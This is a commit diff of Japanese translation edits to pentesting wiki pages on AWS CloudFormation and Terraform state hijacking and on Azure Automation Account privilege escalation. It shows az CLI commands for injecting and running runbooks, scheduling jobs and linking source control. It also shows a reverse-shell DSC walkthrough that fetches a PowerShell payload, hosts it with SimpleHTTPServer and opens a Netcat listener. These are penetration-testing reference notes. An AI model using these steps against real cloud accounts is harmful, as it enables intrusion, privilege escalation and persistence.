mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-01 02:25:08 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -34,7 +34,7 @@
|
||||
]
|
||||
}
|
||||
```
|
||||
そして、ハイジャックが可能なのは、**テンプレートがバケットにアップロードされる瞬間から**、**テンプレートがデプロイされる瞬間までの小さな時間ウィンドウ**があるからです。攻撃者は、自分のアカウントに**lambda function**を作成し、**バケット通知が送信されたときにトリガーされる**ように設定し、その**バケット**の**内容**を**ハイジャック**することができます。
|
||||
そして、ハイジャックが可能なのは、**テンプレートがバケットにアップロードされる瞬間から**、**テンプレートがデプロイされる瞬間までの小さな時間ウィンドウ**があるからです。攻撃者は、自分のアカウントに**lambda function**を作成し、**バケット通知が送信されたときにトリガーされる**ように設定することで、**そのバケットの内容をハイジャック**することができます。
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -55,7 +55,7 @@ Pacuモジュール [`cfn__resouce_injection`](https://github.com/RhinoSecurityL
|
||||
[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) ステートファイルがクラウドプロバイダーのブロブストレージに保存されることは非常に一般的です。例えば、AWS S3です。ステートファイルのファイルサフィックスは`.tfstate`であり、バケット名も通常、terraformステートファイルを含んでいることを示します。通常、すべてのAWSアカウントには、アカウントの状態を示すステートファイルを保存するためのそのようなバケットが1つあります。\
|
||||
また、実際のアカウントでは、ほぼすべての開発者が`s3:*`を持ち、時にはビジネスユーザーでさえ`s3:Put*`を持っています。
|
||||
|
||||
したがって、これらのファイルに対してリストされた権限を持っている場合、`terraform`の特権でパイプライン内でRCEを取得することを可能にする攻撃ベクターがあります。ほとんどの場合、`AdministratorAccess`であり、クラウドアカウントの管理者になります。また、そのベクターを使用して、`terraform`に正当なリソースを削除させることでサービス拒否攻撃を行うこともできます。
|
||||
したがって、これらのファイルに対してリストされた権限を持っている場合、`terraform`の特権でパイプライン内でRCEを取得することを可能にする攻撃ベクターがあります - ほとんどの場合、`AdministratorAccess`であり、あなたをクラウドアカウントの管理者にします。また、そのベクターを使用して、`terraform`に正当なリソースを削除させることでサービス拒否攻撃を行うこともできます。
|
||||
|
||||
直接使用可能なエクスプロイトコードについては、*Terraform Security*ページの*Abusing Terraform State Files*セクションの説明に従ってください:
|
||||
|
||||
|
||||
+12
-12
@@ -16,14 +16,14 @@
|
||||
|
||||
攻撃者がハイブリッドワーカーで任意のランブック(任意のコード)を実行できる場合、彼は**VMの場所にピボットします**。これは、オンプレミスのマシン、異なるクラウドのVPC、またはAzure VMである可能性があります。
|
||||
|
||||
さらに、ハイブリッドワーカーがAzureで他のManaged Identitiesと共に実行されている場合、ランブックは**ランブックの管理対象IDとVMのすべての管理対象IDにメタデータサービスからアクセスできる**ようになります。
|
||||
さらに、ハイブリッドワーカーがAzureで他のマネージドアイデンティティと共に実行されている場合、ランブックは**ランブックのマネージドアイデンティティとVMのメタデータサービスからのすべてのマネージドアイデンティティにアクセスできる**ようになります。
|
||||
|
||||
> [!TIP]
|
||||
> **メタデータサービス**は、Automation Accountの管理対象IDトークンを取得するサービスとは異なるURL(**`http://169.254.169.254`**)を持っていることを忘れないでください(**`IDENTITY_ENDPOINT`**)。
|
||||
> **メタデータサービス**は、Automation Accountのマネージドアイデンティティトークンを取得するサービスとは異なるURL(**`http://169.254.169.254`**)を持っていることを忘れないでください(**`IDENTITY_ENDPOINT`**)。
|
||||
|
||||
- **VMからAutomation Accountへ**
|
||||
|
||||
さらに、誰かがAutomation Accountスクリプトが実行されているVMを侵害した場合、彼は**Automation Account**のメタデータを見つけ、VMからアクセスして**Automation Accountに関連付けられたManaged Identities**のトークンを取得できるようになります。
|
||||
さらに、誰かがAutomation Accountスクリプトが実行されているVMを侵害した場合、彼は**Automation Account**のメタデータを特定し、VMからアクセスして**Automation Accountに関連付けられたManaged Identities**のトークンを取得できるようになります。
|
||||
|
||||
次の画像に示すように、VM上で管理者アクセスを持っている場合、**プロセスの環境変数**の中にAutomation AccountメタデータサービスにアクセスするためのURLとシークレットを見つけることができます:
|
||||
|
||||
@@ -34,7 +34,7 @@
|
||||
|
||||
要約すると、これらの権限は**Automation Account内でRunbooksを作成、変更、実行する**ことを可能にし、これを使用して**Automation Accountのコンテキストでコードを実行し、割り当てられた**Managed Identities**に特権を昇格させ、Automation Accountに保存された**資格情報**や**暗号化された変数**を漏洩させることができます。
|
||||
|
||||
権限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**は、Automation Account内のRunbookのコードを変更することを許可します:
|
||||
権限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**は、Automation Account内のRunbookのコードを変更することを可能にします:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -69,13 +69,13 @@ az automation runbook start \
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
```
|
||||
Runbookが作成されていない場合、または新しいものを作成したい場合は、次の操作を行うために**permissions `Microsoft.Resources/subscriptions/resourcegroups/read` と `Microsoft.Automation/automationAccounts/runbooks/write`**が必要です:
|
||||
Runbookが作成されていない場合、または新しいRunbookを作成したい場合は、次の権限が必要です。**`Microsoft.Resources/subscriptions/resourcegroups/read` と `Microsoft.Automation/automationAccounts/runbooks/write`** を使用して行います。
|
||||
```bash
|
||||
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
この権限は、ユーザーが次の方法でAutomation Accountに**ユーザー管理のアイデンティティ**を割り当てることを許可します:
|
||||
この権限は、ユーザーが次の方法でAutomation Accountに**ユーザー管理のID**を割り当てることを許可します:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
@@ -93,7 +93,7 @@ az rest --method PATCH \
|
||||
|
||||
権限 **`Microsoft.Automation/automationAccounts/schedules/write`** を使用すると、以下のコマンドを使用して、15分ごとに実行される新しいスケジュールをAutomation Accountに作成することができます(あまりステルスではありません)。
|
||||
|
||||
スケジュールの**最小間隔は15分**であり、**最小開始時間は5分**先であることに注意してください。
|
||||
スケジュールの**最小間隔は15分**であり、**最小開始時間は5分**先です。
|
||||
```bash
|
||||
## For linux
|
||||
az automation schedule create \
|
||||
@@ -115,7 +115,7 @@ az automation schedule create \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
その後、**`Microsoft.Automation/automationAccounts/jobSchedules/write`** の権限を持つことで、次のようにしてランブックにスケジューラを割り当てることができます:
|
||||
その後、**`Microsoft.Automation/automationAccounts/jobSchedules/write`** の権限を持つことで、次のようにしてランブックにスケジューラーを割り当てることができます:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
@@ -190,7 +190,7 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
これにより、GithubリポジトリからAutomation Accountにランブックが自動的にインポートされ、いくつかの他の権限を持ってそれらを実行し始めることで、**権限を昇格させることが可能**になります。
|
||||
これにより、GithubリポジトリからAutomation Accountにランブックが自動的にインポートされ、いくつかの他の権限を持ってそれらを実行し始めることができれば、**権限を昇格させることが可能**です。
|
||||
|
||||
さらに、Automation Accountsでソース管理が機能するためには、**`Contributor`**の役割を持つマネージドアイデンティティが必要であり、ユーザーマネージドアイデンティティの場合は、MIのクライアントIDを変数**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**に指定する必要があります。
|
||||
|
||||
@@ -215,7 +215,7 @@ az rest --method PUT \
|
||||
```
|
||||
### カスタムランタイム環境
|
||||
|
||||
自動化アカウントがカスタムランタイム環境を使用している場合、ランタイムのカスタムパッケージを悪意のあるコード(**バックドア**など)で上書きすることが可能です。この方法では、そのカスタムランタイムを使用するランブックが実行され、カスタムパッケージが読み込まれるたびに、悪意のあるコードが実行されます。
|
||||
自動化アカウントがカスタムランタイム環境を使用している場合、ランタイムのカスタムパッケージを悪意のあるコード(**バックドア**など)で上書きすることが可能です。この方法では、そのカスタムランタイムを使用するランブックが実行され、カスタムパッケージがロードされるたびに、悪意のあるコードが実行されます。
|
||||
|
||||
### 状態構成の妥協
|
||||
|
||||
@@ -231,7 +231,7 @@ az rest --method PUT \
|
||||
|
||||
- ステップ 2 — 構成ファイルを圧縮
|
||||
|
||||
`reverse_shell_config.ps1`は`.zip`ファイルに圧縮され、Azure Storage Accountへの転送の準備が整います。
|
||||
`reverse_shell_config.ps1`は`.zip`ファイルに圧縮され、Azureストレージアカウントへの転送の準備が整います。
|
||||
```bash
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
@@ -255,7 +255,7 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
|
||||
- ステップ 6 — ペイロードのホストとリスナーの設定
|
||||
|
||||
PythonのSimpleHTTPServerがペイロードをホストするために起動され、Netcatリスナーが着信接続をキャプチャします。
|
||||
ペイロードをホストするためにPythonのSimpleHTTPServerが起動され、受信接続をキャプチャするためのNetcatリスナーが設定されます。
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
|
||||
Reference in New Issue
Block a user